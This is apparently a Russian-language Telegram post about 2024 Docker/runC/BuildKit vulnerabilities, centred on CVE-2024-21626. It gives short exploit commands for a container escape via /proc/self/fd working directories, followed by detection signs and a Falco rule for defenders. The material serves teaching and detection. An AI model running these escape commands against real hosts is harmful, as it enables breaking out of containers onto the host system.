🖼️ Container security или почему нужно следить не только за уязвимостями в коде

Немного отвлекусь от повседневности и хочу рассказать про то, как нам важно иметь безопасные контейнеры. Начну с того, что Вам и так известно, недавно был найден скоуп уязвимостей Docker и runC.

Для начала что это за уязвимости:

🟡 CVE-2024–21626 (CVSSv3: 8.6) — Проблема в runC, связанная с process.cwd и утечкой дескрипторов файлов.
🟡 CVE-2024–23651 (CVSSv3: 8.7) — Состояние гонки во время сборки, приводящее к выходу контейнера из строя в BuildKit.
🟡 CVE-2024–23652 (CVSSv3: 10.0) — Произвольное удаление при разрушении контейнера во время сборки BuildKit.
🟡 CVE-2024–23653 (CVSSv3: 9.8) — Проблема проверки привилегий GRPC SecurityMode в BuildKit, приводящая к выходу контейнера из строя во время сборки.

При подготовке поста мне очень понравилось читать исследование про CVE-2024–21626, прошу всех с ним ознакомиться - ТЫК

Могу сделать отдельный перевод в teletype 🚶‍♀️

CVE-2024-21626, в частности, привлекла внимание к уязвимостям в runC, ключевом компоненте различных систем управления контейнерами с открытым исходным кодом. Эта уязвимость, а также ее аналоги в BuildKit подчеркивают проблемы, связанные с обеспечением безопасности контейнеров и всей современной микросервисной инфраструктуре.

🤨Да кто этот ваш такой RunC?

RunC - это стандартное время выполнения контейнеров. Это базовая технология, используемая в Docker и других платформах для запуска контейнеров. По сути, runC отвечает за порождение и запуск контейнеров в соответствии со спецификацией Open Container Initiative (OCI). Для этого он предоставляет интерфейс командной строки для управления жизненным циклом контейнеров.

Суть CVE-2024-21626 заключается в утечке дескриптора файла в пакете runC. Эта проблема возникает во время выполнения контейнерного кода. Хотя пользователи обычно устанавливают закрытие дескрипторов файлов при выполнении (O_CLOEXEC) для предотвращения утечки, уязвимость существует в том, как runC обрабатывает системный вызов setcwd(2). Сложно, непонятно, но вот ссылки на видосы исполнения от Snyk ТЫК и на гите ТЫК

⌨️ Как ломать (Для RedTeam)

⏺ Эксплойт через запуск контейнера
Нет необходимости создавать собственный образ, просто запустите контейнер с параметром -w:

docker run -w /proc/self/fd/8 --name cve-2024-21626 --rm -it debian:bookworm

⏺ Эксплоит через выполнение в запущенном контейнере:

~/container/runc/runc --version
docker run --name helper-ctr alpine
docker export helper-ctr --output alpine.tar
mkdir rootfs
tar xf alpine.tar -C rootfs
~/container/runc/runc spec
sed -ri 's#(\s*"cwd": )"(/)"#\1 "/proc/self/fd/7"#g' config.json
grep cwd config.json
sudo ~/container/runc/runc --log ./log.json run demo

🛡 Как обнаружить (Для BlueTeam)
Эксплойты имеют следующие особенности:
⏩ Контейнер запускает процесс execve(2) со специальным рабочим каталогом, который начинается с /proc/self/fd/.
⏩ Контейнер создает символические ссылки через symlink(2) или symlinkat(2) со специальной ссылкой на целевой каталог, который начинается с /proc/self/fd/.
⏩ Контейнер будет открывать файлы с помощью open(2), openat(2) или openat2(2) с именами типа /proc/\d+/cwd/.*.

Правило для Falco — про него выйдет отдельный пост

- macro: container
  condition: (container.id != host and container.name exists)

- rule: CVE-2024-21626 (runC escape through /proc/[PID]/cwd) exploited
  desc: >
    Detect CVE-2024-21626, runC escape vulerability through /proc/[PID]/cwd.
  condition: >
    container and ((evt.type = execve and proc.cwd startswith "/proc/self/fd") or (evt.type in (open, openat, openat2) and fd.name glob "/proc/*/cwd/*") or (evt.type in (symlink, symlinkat) and fs.path.target startswith "/proc/self/fd/")) and proc.name != "runc:[1:CHILD]"
  output: CVE-2024-21626 exploited (%container.info evt_type=%evt.type process=%proc.name command=%proc.cmdline target=%fs.path.targetraw)
  priority: CRITICAL

Это первая часть поста, телега не позволяет дать больше информации. Вторая часть выйдет завтра, в 15:00
Всех ждем на продолжение на уязвимости CVE-2024–23651, CVE-2024–23652, CVE-2024–23653 🤗